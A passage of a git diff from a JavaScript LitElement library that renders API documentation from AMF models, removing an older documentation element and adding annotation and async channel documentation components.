if (isMethodOrEndpoint) { - return allowCustomBaseUri || moreThanOneServer; - } - return false; - } - - get effectiveBaseUri() { - const { baseUri, serverValue } = this; - - return baseUri || serverValue; - } - - get inlineMethods() { - return this._inlineMethods; - } - - set inlineMethods(value) { - const old = this._inlineMethods; - /* istanbul ignore if */ - if (old === value) { - return; - } - this._inlineMethods = value; - this.__amfChanged(); - } - - get handleNavigationEvents() { - return this._handleNavigationEvents; - } - - set handleNavigationEvents(value) { - const old = this._handleNavigationEvents; - /* istanbul ignore if */ - if (old === value) { - return; - } - this._handleNavigationEvents = value; - this._handleNavChanged(value); - } - - constructor() { - super(); - this._navigationHandler = this._navigationHandler.bind(this); - this._handleServerChange = this._handleServerChange.bind(this); - - /** - * @type {string} - */ - this.baseUri = undefined; - this.narrow = false; - this.compatibility = false; - this.outlined = false; - this.graph = false; - this.noBottomNavigation = false; - this.noTryIt = false; - this.noUrlEditor = false; - this.allowCustomBaseUri = false; - this.noServerSelector = false; - /** - * @type {Window|HTMLElement} - */ - this.scrollTarget = undefined; - /** - * @type {string} - */ - this.redirectUri = undefined; - } - - disconnectedCallback() { - if (super.disconnectedCallback) { - super.disconnectedCallback(); - } - if (this.__eventsRegistered) { - this._unregisterNavigationEvents(); - } - } - - __amfChanged() { - if (this.__amfProcessingDebouncer) { - return; - } - this.__amfProcessingDebouncer = true; - setTimeout(() => this._processModelChange()); - } - - _processModelChange() { - this.__amfProcessingDebouncer = false; - - let { amf } = this; - if (!amf) { - return; - } - if (Array.isArray(amf)) { - [amf] = amf; - } - if (this._hasType(amf, this.ns.aml.vocabularies.document.Document)) { - this.__processApiSpecSelection(amf); - return; - } - if (this._isLibrary(amf)) { - this.__processLibrarySelection(amf); - return; - } - if (this._isSecurityFragment(amf)) { - this._processSecurityFragment(amf); - return; - } - if (this._isDocumentationFragment(amf)) { - this._processDocumentationFragment(amf); - return; - } - if (this._isTypeFragment(amf)) { - this._processTypeFragment(amf); - return; - } - if (this._isDocumentationPartialModel(amf)) { - this._processDocumentationPartial(amf); - return; - } - if (this._isSecurityPartialModel(amf)) { - this._processSecurityPartial(amf); - return; - } - if (this._isEndpointPartialModel(amf)) { - this._processEndpointPartial(amf); - return; - } - if (this._isTypePartialModel(amf)) { - this._processTypePartial(amf); - } - } - - /** - * Registers `api-navigation-selection-changed` event listener handler - * on window object. - */ - _registerNavigationEvents() { - this.__eventsRegistered = true; - window.addEventListener('api-navigation-selection-changed', this._navigationHandler); - } - - /** - * Removes event listener from window object for - * `api-navigation-selection-changed` event. - */ - _unregisterNavigationEvents() { - this.__eventsRegistered = false; - window.removeEventListener('api-navigation-selection-changed', this._navigationHandler); - } - - /** - * Registers / unregisters event listeners depending on `state` - * - * @param {Boolean} state - */ - _handleNavChanged(state) { - if (state) { - this._registerNavigationEvents(); - } else { - this._unregisterNavigationEvents(); - } - } - - get server() { - const { serverValue, serverType, selectedType, endpointId: eid, selected: mid } = this; - if (serverType && serverType !== 'server') { - return null; - } - if (['method', 'endpoint'].indexOf(selectedType) === -1) { - return null; - } - let endpointId; - let methodId; - if (selectedType === 'method') { - endpointId = eid; - methodId = mid; - } else { - endpointId = mid; - } - - const servers = this._getServers({ endpointId, methodId }); - if (!servers || !servers.length) { - return null; - } - if (!serverValue && servers.length) { - return servers[0]; - } - return servers.find((server) => this._getServerUri(server) === serverValue); - } - - /** - * Handler for `api-navigation-selection-changed` event. - * - * @param {CustomEvent} e - */ - _navigationHandler(e) { - if (e.detail.passive === true) { - return; - } - const { selected, type, endpointId } = e.detail; - this.selected = selected; - this.selectedType = type; - this.endpointId = type === 'method' ? endpointId : null; - - this.requestUpdate(); - } - - _handleServersCountChange(e) { - this.serversCount = e.detail.value; - } - - _getServerUri(server) { - const key = this._getAmfKey(this.ns.aml.vocabularies.core.urlTemplate); - return this._getValue(server, key); - } - - _handleServerChange(e) { - this.serverValue = e.detail.value; - this.serverType = e.detail.type; - } - - /** - * Processes selection for the web API data model. It ignores the input if - * `selected` or `selectedType` is not set. - * @param {any} model WebApi AMF model. Do not use an array here. - */ - __processApiSpecSelection(model) { - const { selected, inlineMethods } = this; - let { selectedType } = this; - if (!selected || !selectedType) { - // Not all required properties were set. - return; - } - let result; - switch (selectedType) { - case 'summary': result = model; break; - case 'security': result = this._computeSecurityApiModel(model, selected); break; - case 'type': result = this._computeTypeApiModel(model, selected); break; - case 'documentation': result = this._computeDocsApiModel(model, selected); break; - case 'endpoint': - result = this._computeEndpointApiModel(model, selected); - // this._endpoint = result; - break; - case 'method': - if (inlineMethods) { - selectedType = 'endpoint'; - result = this._computeEndpointApiMethodModel(model, selected); - } else { - result = this._computeMethodApiModel(model, selected); - this._endpoint = this._computeEndpointApiMethodModel(model, selected); - } - break; - default: - return; - } - this._docsModel = result; - this._viewType = selectedType; - } - - /** - * Computes security scheme definition model from web API and current selection. - * It looks for the definition in both `declares` and `references` properties. - * Returned value is already resolved AMF model (references are resolved). - * - * @param {any} model WebApi AMF model. Do not use an array here. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for the security scheme. - */ - _computeSecurityApiModel(model, selected) { - const declares = this._computeDeclares(model); - let result; - if (declares) { - result = declares.find((item) => item['@id'] === selected); - } - if (!result) { - const references = this._computeReferences(model); - if (references && references.length) { - for (let i = 0, len = references.length; i < len; i++) { - if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) { - continue; - } - result = this._computeReferenceSecurity(references[i], selected); - if (result) { - break; - } - } - } - } else { - result = this._resolve(result); - } - return result; - } - - /** - * Computes type definition model from web API and current selection. - * It looks for the definition in both `declares` and `references` properties. - * Returned value is already resolved AMF model (references are resolved). - * - * @param {any} model WebApi AMF model. Do not use an array here. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for a type. - */ - _computeTypeApiModel(model, selected) { - const declares = this._computeDeclares(model); - const references = this._computeReferences(model); - return this._computeType(declares, references, selected); - } - - /** - * Computes documentation definition model from web API and current selection. - * - * @param {any} model WebApi AMF model. Do not use an array here. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for a documentation fragment. - */ - _computeDocsApiModel(model, selected) { - const webApi = this._computeApi(model); - return this._computeDocument(webApi, selected); - } - - /** - * Computes Endpoint definition model from web API and current selection. - * - * @param {any} model WebApi AMF model. Do not use an array here. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for an endpoint fragment. - */ - _computeEndpointApiModel(model, selected) { - const webApi = this._computeApi(model); - return this._computeEndpointModel(webApi, selected); - } - - /** - * Computes Method definition model from web API and current selection. - * - * @param {any} model WebApi AMF model. Do not use an array here. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for an endpoint fragment. - */ - _computeMethodApiModel(model, selected) { - const webApi = this._computeApi(model); - return this._computeMethodModel(webApi, selected); - } - - _computeEndpointApiMethodModel(model, selected) { - const webApi = this._computeApi(model); - return this._computeMethodEndpoint(webApi, selected); - } - - /** - * Processes selection for a library data model. It ignores the input if - * `selected` or `selectedType` is not set. - * @param {any} model Library AMF model. Do not use an array here. - */ - __processLibrarySelection(model) { - const { selected, selectedType } = this; - if (!selected || !selectedType) { - // Not all required properties were set. - return; - } - let result; - switch (selectedType) { - case 'security': result = this._computeSecurityLibraryModel(model, selected); break; - case 'type': result = this._computeTypeLibraryModel(model, selected); break; - default: - result = model; - return; - } - this._docsModel = result; - this._viewType = selectedType; - } - - /** - * Computes Security scheme from a Library model. - * @param {any} model Library AMF model. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for a security. - */ - _computeSecurityLibraryModel(model, selected) { - return this._computeDeclById(model, selected); - } - - /** - * Computes Type definition from a Library model. - * @param {any} model Library AMF model. - * @param {string} selected Currently selected `@id`. - * @return {any|undefined} Model definition for a type. - */ - _computeTypeLibraryModel(model, selected) { - return this._computeDeclById(model, selected); - } - - /** - * Extracts security model from security scheme fragment and sets current selection - * and the model. - * @param {any} model Security scheme fragment model - */ - _processSecurityFragment(model) { - this.__processFragment(model, 'security'); - } - - /** - * Extracts documentation model from documentation fragment and sets current selection - * and the model. - * @param {any} model Documentation fragment model - */ - _processDocumentationFragment(model) { - this.__processFragment(model, 'documentation'); - } - - /** - * Extracts Type model from Type fragment and sets current selection - * and the model. - * @param {any} model Type fragment model - */ - _processTypeFragment(model) { - this.__processFragment(model, 'type'); - } - - /** - * Processes fragment model and sets current selection and the model. - * @param {any} model RAML fragment model - * @param {string} selectedType Currently selected type. - */ - __processFragment(model, selectedType) { - const result = this._computeEncodes(model); - this._docsModel = result; - this._viewType = selectedType; - } - - _processDocumentationPartial(model) { - this._docsModel = model; - this._viewType = 'documentation'; - } - - _processSecurityPartial(model) { - this._docsModel = model; - this._viewType = 'security'; - } - - _processTypePartial(model) { - this._docsModel = model; - this._viewType = 'type'; - } - - /** - * Processes endpoint data from partial model definition. - * It sets models that are used by the docs. - * - * If `selected` or `selectedType` is not set then it automatically selects - * an endpoint. - * @param {Object} model Partial model for endpoints - */ - _processEndpointPartial(model) { - const { selected, inlineMethods } = this; - let { selectedType } = this; - if (!selectedType || inlineMethods) { - selectedType = 'endpoint'; - } - this._endpoint = model; - if (!inlineMethods && selectedType === 'method') { - model = this._computeMethodPartialEndpoint(model, selected); - } - this._docsModel = model; - this._viewType = selectedType; - } - - /** - * Creates a link model that is accepted by the endpoint documentation - * view. - * @param {any} item An AMF shape to use to get the data from. - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no item. - */ - _computeEndpointLink(item) { - if (!item) { - return undefined; - } - let name = this._getValue(item, this.ns.aml.vocabularies.core.name); - if (!name) { - name = this._getValue(item, this.ns.aml.vocabularies.apiContract.path); - } - return { - id: item['@id'], - label: name - }; - } - - /** - * Computes link model for previous endpoint, if any exists relative to - * current selection. - * @param {any} model Web API AMF model - * @param {string} selected Currently selected endpoint - * @param {boolean=} lookupMethods When set it looks for the ID in methods array. - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no previous item. - */ - _computeEndpointPrevious(model, selected, lookupMethods) { - if (!model || !selected) { - return undefined; - } - if (this._hasType(model, this.ns.aml.vocabularies.apiContract.EndPoint)) { - return undefined; - } - const webApi = this._computeApi(model); - if (!webApi) { - return undefined; - } - const eKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint); - const endpoints = this._ensureArray(webApi[eKey]); - if (!endpoints) { - return undefined; - } - for (let i = 0; i < endpoints.length; i++) { - const endpoint = endpoints[i]; - if (endpoint['@id'] === selected) { - return this._computeEndpointLink(endpoints[i - 1]); - } - if (!lookupMethods) { - continue; - } - const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); - const methods = this._ensureArray(endpoint[key]); - if (!methods) { - continue; - } - for (let j = 0; j < methods.length; j++) { - if (methods[j]['@id'] === selected) { - return this._computeEndpointLink(endpoints[i - 1]); - } - } - } - return undefined; - } - - /** - * Computes link model for next endpoint, if any exists relative to - * current selection. - * @param {any} model WebApi shape object of AMF - * @param {string} selected Currently selected endpoint - * @param {boolean=} lookupMethods When set it looks for the ID in methods array. - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no next item. - */ - _computeEndpointNext(model, selected, lookupMethods) { - if (!model || !selected) { - return undefined; - } - if (this._hasType(model, this.ns.aml.vocabularies.apiContract.EndPoint)) { - return undefined; - } - const webApi = this._computeApi(model); - if (!webApi) { - return undefined; - } - const eKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint); - const endpoints = this._ensureArray(webApi[eKey]); - if (!endpoints) { - return undefined; - } - for (let i = 0; i < endpoints.length; i++) { - const endpoint = endpoints[i]; - if (endpoint['@id'] === selected) { - return this._computeEndpointLink(endpoints[i + 1]); - } - if (!lookupMethods) { - continue; - } - const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); - const methods = this._ensureArray(endpoint[key]); - if (!methods) { - continue; - } - for (let j = 0; j < methods.length; j++) { - if (methods[j]['@id'] === selected) { - return this._computeEndpointLink(endpoints[i + 1]); - } - } - } - return undefined; - } - - /** - * Creates a link model that is accepted by the method documentation - * view. - * @param {any} item An AMF shape to use to get the data from. - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no item. - */ - _computeMethodLink(item) { - if (!item) { - return undefined; - } - let name = this._getValue(item, this.ns.aml.vocabularies.core.name); - if (!name) { - name = this._getValue(item, this.ns.aml.vocabularies.apiContract.method); - } - return { - id: item['@id'], - label: name - }; - } - - /** - * Computes link for the previous method. - * This is used by the method documentation panel to render previous - * method link. - * @param {any} model WebApi shape object of AMF - * @param {string} selected Currently selected method - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no previous item. - */ - _computeMethodPrevious(model, selected) { - let methods; - if (this._hasType(model, this.ns.aml.vocabularies.apiContract.EndPoint)) { - const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); - methods = this._ensureArray(model[key]); - } else { - const webApi = this._computeApi(model); - methods = this.__computeMethodsListForMethod(webApi, selected); - } - if (!methods) { - return undefined; - } - for (let i = 0; i < methods.length; i++) { - if (methods[i]['@id'] === selected) { - return this._computeMethodLink(methods[i - 1]); - } - } - return undefined; - } - - /** - * Computes link for the next method. - * This is used by the method documentation panel to render next - * method link. - * @param {any} model WebApi shape object of AMF - * @param {string} selected Currently selected method - * @return {any|undefined} Object with `label` and `id` or `undefined` - * if no next item. - */ - _computeMethodNext(model, selected) { - let methods; - if (this._hasType(model, this.ns.aml.vocabularies.apiContract.EndPoint)) { - const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); - methods = this._ensureArray(model[key]); - } else { - const webApi = this._computeApi(model); - methods = this.__computeMethodsListForMethod(webApi, selected); - } - if (!methods) { - return undefined; - } - for (let i = 0; i < methods.length; i++) { - if (methods[i]['@id'] === selected) { - return this._computeMethodLink(methods[i + 1]); - } - } - return undefined; - } - - /** - * Computes method definition from an endpoint partial model. - * @param {any} api Endpoint partial model - * @param {string} selected Currently selected ID. - * @return {any|undefined} Method model. - */ - _computeMethodPartialEndpoint(api, selected) { - const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); - const ops = this._ensureArray(api[opKey]); - if (!ops) { - return undefined; - } - return ops.find((op) => op['@id'] === selected); - } - - /** - * Tests if `model` is of a RAML library model. - * @param {any} model A shape to test - * @return {boolean} - */ - _isLibrary(model) { - if (!model) { - return false; - } - if (Array.isArray(model)) { - [model] = model; - } - if (!model['@type']) { - return false; - } - const moduleKey = this._getAmfKey(this.ns.aml.vocabularies.document.Module); - return moduleKey === model['@type'][0]; - } - - /** - * Computes a security model from a reference (library for example). - * @param {any|any[]} reference AMF model for a reference to extract the data from - * @param {string} selected Node ID to look for - * @return {any|undefined} Type definition or undefined if not found. - */ - _computeReferenceSecurity(reference, selected) { - const declare = this._computeDeclares(reference); - if (!declare) { - return undefined; - } - let result = declare.find((item) => { - if (Array.isArray(item)) { - [item] = item; - } - return item['@id'] === selected; - }); - if (Array.isArray(result)) { - [result] = result; - } - return this._resolve(result); - } - - /** - * Computes model of a shape defined ni `declares` list - * @param {any} model AMF model - * @param {string} selected Current selection - * @return {any|undefined} - */ - _computeDeclById(model, selected) { - const declares = this._computeDeclares(model); - if (!declares) { - return undefined; - } - let selectedDeclaration = this._findById(declares, selected) - if (!selectedDeclaration) { - const references = this._computeReferences(model); - if (references) { - // @ts-ignore - const declarationsInRef = references.map((r) => this._computeDeclares(r)).flat(); - selectedDeclaration = this._findById(declarationsInRef, selected); - } - } - return selectedDeclaration; - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isTypeFragment(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.shapes.DataTypeFragment); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isTypePartialModel(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.document.DomainElement); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isSecurityFragment(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.security.SecuritySchemeFragment); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isSecurityPartialModel(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.security.SecurityScheme); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isDocumentationFragment(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.apiContract.UserDocumentationFragment); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isDocumentationPartialModel(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.core.CreativeWork); - } - - /** - * @param {any} model API model. - * @return {boolean} - */ - _isEndpointPartialModel(model) { - /* istanbul ignore if */ - if (Array.isArray(model)) { - [model] = model; - } - return this._hasType(model, this.ns.aml.vocabularies.apiContract.EndPoint); - } - - /** - * Computes API's media types when requesting type documentation view. - * This is passed to the type documentation to render examples in the type - * according to API's defined media type. - * - * @param {any} model API model. - * @return {string[]|undefined} List of supported media types or undefined. - */ - _computeApiMediaTypes(model) { - if (Array.isArray(model)) { - [model] = model; - } - let webApi = this._computeWebApi(model); - if (!webApi) { - return undefined; - } - if (Array.isArray(webApi)) { - [webApi] = webApi; - } - const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.accepts); - const value = this._ensureArray(webApi[key]); - if (value) { - return value.map((item) => typeof item === 'string' ? item : item['@value']); - } - return undefined; - } - - render() { - return html` - ${this._renderServerSelector()} - ${this._renderView()}`; - } - - _renderServerSelector() { - if (this.noServerSelector) { - return ''; - } - const { amf, compatibility, outlined, serverType, serverValue, allowCustomBaseUri, showsSelector, selected, selectedType } = this; - - return html` - - - `; - } - - _renderView() { - switch (this._viewType) { - case 'summary': return this._summaryTemplate(); - case 'security': return this._securityTemplate(); - case 'documentation': return this._documentationTemplate(); - case 'type': return this._typeTemplate(); - case 'endpoint': return this._endpointTemplate(); - case 'method': return this._methodTemplate(); - default: return ''; - } - } - - _summaryTemplate() { - const { _docsModel, baseUri } = this; - - return html` - `; - } - - _securityTemplate() { - const { amf, _docsModel, narrow } = this; - return html``; - } - - _documentationTemplate() { - const { amf, _docsModel } = this; - return html``; - } - - _typeTemplate() { - const { amf, _docsModel, narrow, compatibility, graph } = this; - const mt = this._computeApiMediaTypes(amf); - return html``; - } - - _methodTemplate() { - const { amf, _docsModel, narrow, compatibility, _endpoint, selected, noTryIt, graph, noBottomNavigation, server } = this; - const prev = this._computeMethodPrevious(amf, selected); - const next = this._computeMethodNext(amf, selected); - - return html``; - } - - _endpointTemplate() { - return this.inlineMethods ? - this._inlineEndpointTemplate() : - this._simpleEndpointTemplate(); - } - - _inlineEndpointTemplate() { - const { amf, _docsModel, narrow, compatibility, outlined, selected, scrollTarget, redirectUri, noUrlEditor, graph, noBottomNavigation, server } = this; - const prev = this._computeEndpointPrevious(amf, selected, true); - const next = this._computeEndpointNext(amf, selected, true); - - return html``; - } - - _simpleEndpointTemplate() { - const { amf, _docsModel, narrow, compatibility, selected, graph, noBottomNavigation, server } = this; - const prev = this._computeEndpointPrevious(amf, selected); - const next = this._computeEndpointNext(amf, selected); - - return html``; - } -} diff --git a/src/elements/ApiAnnotationDocumentElement.d.ts b/src/elements/ApiAnnotationDocumentElement.d.ts new file mode 100644 index 0000000..353c95d --- /dev/null +++ b/src/elements/ApiAnnotationDocumentElement.d.ts @@ -0,0 +1,85 @@ +import { LitElement, TemplateResult } from 'lit-element'; +import { AmfHelperMixin, DomainElement, ApiDomainProperty, ApiCustomDomainProperty, ApiScalarNode, ApiObjectNode } from '@api-components/amf-helper-mixin'; + +export const shapeValue: unique symbol; +export const processShape: unique symbol; +export const propertiesValue: unique symbol; +export const propertyTemplate: unique symbol; +export const processVisibility: unique symbol; +export const scalarValue: unique symbol; +export const annotationWrapperTemplate: unique symbol; +export const scalarTemplate: unique symbol; +export const objectTemplate: unique symbol; +export const objectScalarPropertyTemplate: unique symbol; + +/** + * An element to render annotations (also known as custom properties) + * from AMF model. + * + * Annotations are part of RAML language and API console supports it. + * The element looks for annotations in model and renders them. + */ +export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) { + /** + * A domain property that may have custom domain properties + */ + shape: DomainElement; + /** + * Serialized with `ApiSerializer` API domain model. + * This is to be used instead of `shape`. + */ + domainModel: ApiDomainProperty; + /** + * Computed value, true if any custom property has been found. + */ + get hasCustomProperties(): boolean; + + /** + * List of custom properties in the shape. + */ + get customProperties(): ApiCustomDomainProperty[] | undefined; + /** + * List of custom properties in the shape. + */ + set customProperties(value: ApiCustomDomainProperty[]); + + /** + * Called when the shape property change. + * Sets `hasCustomProperties` and `customList` properties. + * + * Note that for performance reasons, if the element determine that there's + * no custom properties wit will not clear `customList`. + * It will be updated only if the value actually change. + */ + [processShape](): void; + + [processVisibility](): void; + + [scalarValue](scalar: ApiScalarNode): any; + + render(): TemplateResult; + + /** + * @returns The template for the custom property. + */ + [propertyTemplate](property: ApiCustomDomainProperty): TemplateResult | string; + + /** + * @param name The annotation name + * @param content The content tp render. + * @returns The template for the custom property. + */ + [annotationWrapperTemplate](name: string, content: unknown): TemplateResult; + /** + * @returns The template for the custom property. + */ + [scalarTemplate](name: string, scalar: ApiScalarNode): TemplateResult; + /** + * @returns The template for the custom property. + */ + [objectTemplate](name: string, object: ApiObjectNode): TemplateResult; + /** + * @returns The template for the custom property. + */ + [objectScalarPropertyTemplate](name: string, scalar: ApiScalarNode): TemplateResult; +} diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js new file mode 100644 index 0000000..7a211ac --- /dev/null +++ b/src/elements/ApiAnnotationDocumentElement.js @@ -0,0 +1,245 @@ +/* eslint-disable class-methods-use-this */ +/* eslint-disable no-param-reassign */ +import { LitElement, html } from 'lit-element'; +import { AmfHelperMixin, AmfSerializer, ns } from '@api-components/amf-helper-mixin'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import elementStyles from './styles/ApiAnnotation.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDomainProperty} ApiDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiObjectNode} ApiObjectNode */ +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ + +export const shapeValue = Symbol('shapeValue'); +export const processShape = Symbol('processShape'); +export const propertiesValue = Symbol('propertiesValue'); +export const propertyTemplate = Symbol('propertyTemplate'); +export const processVisibility = Symbol('processVisibility'); +export const scalarTemplate = Symbol('scalarTemplate'); +export const objectTemplate = Symbol('objectTemplate'); +export const annotationWrapperTemplate = Symbol('annotationWrapperTemplate'); +export const scalarValue = Symbol('scalarValue'); +export const objectScalarPropertyTemplate = Symbol('objectScalarPropertyTemplate'); + +/** + * An element to render annotations (also known as custom properties) + * from AMF model. + * + * Annotations are part of RAML language and API console supports it. + * The element looks for annotations in model and renders them. + */ +export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) { + get styles() { + return elementStyles; + } + + /** + * @returns {DomainElement|undefined} + */ + get shape() { + return this[shapeValue]; + } + + /** + * @param {DomainElement} value + */ + set shape(value) { + const oldValue = this[shapeValue]; + if (oldValue === value) { + return; + } + this[shapeValue] = value; + this[processShape](); + } + + /** + * Serialized with `ApiSerializer` API domain model. + * This is to be used instead of `shape`. + * @returns {ApiDomainProperty|undefined} + */ + get domainModel() { + return this[shapeValue]; + } + + /** + * @param {ApiDomainProperty} value + */ + set domainModel(value) { + const oldValue = this[shapeValue]; + if (oldValue === value) { + return; + } + this[shapeValue] = value; + this[processShape](); + } + + /** + * @returns {boolean} `true` if any custom property has been found. + */ + get hasCustomProperties() { + const properties = this[propertiesValue]; + return Array.isArray(properties) && !!properties.length; + } + + /** + * @returns {ApiCustomDomainProperty[]|undefined} List of custom properties in the shape. + */ + get customProperties() { + return this[propertiesValue]; + } + + /** + * @param {ApiCustomDomainProperty[]} value + */ + set customProperties(value) { + const old = this[propertiesValue]; + if (old === value) { + return; + } + this[propertiesValue] = value; + this[processVisibility](); + this.requestUpdate(); + } + + constructor() { + super(); + /** @type ApiCustomDomainProperty[] */ + this[propertiesValue] = undefined; + } + + /** + * Called when the shape property change. + * Sets `hasCustomProperties` and `customList` properties. + * + * Note that for performance reasons, if the element determine that there's + * no custom properties wit will not clear `customList`. + * It will be updated only if the value actually change. + */ + [processShape]() { + const shape = /** @type DomainElement */ (this[shapeValue]); + this[propertiesValue] = undefined; + if (!shape) { + return; + } + const serializer = new AmfSerializer(this.amf); + const result = serializer.customDomainProperties(shape); + if (Array.isArray(result) && result.length) { + this[propertiesValue] = result; + } + this[processVisibility](); + this.requestUpdate(); + } + + [processVisibility]() { + const { hasCustomProperties } = this; + if (hasCustomProperties) { + this.setAttribute('aria-hidden', 'false'); + this.removeAttribute('hidden'); + } else { + this.setAttribute('aria-hidden', 'true'); + this.setAttribute('hidden', 'true'); + } + } + + /** + * @param {ApiScalarNode} scalar + * @returns {any} + */ + [scalarValue](scalar) { + let { value='' } = scalar; + if (value === 'nil') { + value = ''; + } + return value; + } + + render() { + const { hasCustomProperties, customProperties } = this; + if (!hasCustomProperties) { + return ''; + } + const content = customProperties.map((property) => this[propertyTemplate](property)); + return html` + + ${content} + `; + } + + /** + * @param {ApiCustomDomainProperty} property + * @returns {TemplateResult|string} The template for the custom property. + */ + [propertyTemplate](property) { + const { name, extension } = property; + const { types } = extension; + if (types.includes(ns.aml.vocabularies.data.Scalar)) { + return this[scalarTemplate](name, /** @type ApiScalarNode */ (extension)); + } + if (types.includes(ns.aml.vocabularies.data.Object)) { + return this[objectTemplate](name, /** @type ApiObjectNode */ (extension)); + } + return ''; + } + + /** + * @param {string} name The annotation name + * @param {unknown} content The content tp render. + * @returns {TemplateResult} The template for the custom property. + */ + [annotationWrapperTemplate](name, content) { + return html` +
+ +
+ ${name} + ${content || ''} +
+
+ `; + } + + /** + * @param {string} name + * @param {ApiScalarNode} scalar + * @returns {TemplateResult} The template for the custom property. + */ + [scalarTemplate](name, scalar) { + const content = html`${this[scalarValue](scalar)}`; + return this[annotationWrapperTemplate](name, content); + } + + /** + * @param {string} name + * @param {ApiObjectNode} object + * @returns {TemplateResult} The template for the custom property. + */ + [objectTemplate](name, object) { + const { properties={} } = object; + const content = Object.keys(properties).map((key) => { + const value = properties[key]; + const { types } = value; + if (types.includes(ns.aml.vocabularies.data.Scalar)) { + return this[objectScalarPropertyTemplate](key, value); + } + return key; + }); + return this[annotationWrapperTemplate](name, content); + } + + /** + * @param {string} name + * @param {ApiScalarNode} scalar + * @returns {TemplateResult} The template for the custom property. + */ + [objectScalarPropertyTemplate](name, scalar) { + const value = this[scalarValue](scalar); + return html` +
+ ${name} + ${value} +
+ `; + } +} diff --git a/src/elements/ApiChannelDocumentationElement.js b/src/elements/ApiChannelDocumentationElement.js new file mode 100644 index 0000000..165557d --- /dev/null +++ b/src/elements/ApiChannelDocumentationElement.js @@ -0,0 +1,92 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import ApiResourceDocumentationElement, { + endpointValue, + urlValue, + urlTemplate, + titleTemplate, + computeUrlValue, + operationTemplate, +} from './ApiResourceDocumentationElement.js'; +import '../../api-operation-document.js' +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ + +/** + * A web component that renders the async API Channel documentation page + */ +export default class ApiChannelDocumentationElement extends ApiResourceDocumentationElement { + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + const { server, protocol='' } = this; + let url = ''; + if (server) { + url = server.url; + if (url.endsWith('/')) { + url = url.substr(0, url.length - 1); + } + } + let result = ''; + if (protocol && !url.includes('://')) { + result = `${protocol}://`; + } + result += url; + if (!result) { + result = '(unknown server)'; + } + this[urlValue] = result; + } + + /** + * @returns {TemplateResult|string} The template for the Operation title. + */ + [titleTemplate]() { + const endPoint = this[endpointValue]; + const { name, path } = endPoint; + const label = name || path; + if (!label) { + return ''; + } + return html` +
+
+ ${label} +
+

API channel

+
+ `; + } + + /** + * @returns {TemplateResult} The template for the operation's URL. + */ + [urlTemplate]() { + const url = this[urlValue]; + return html` +
+
${url}
+
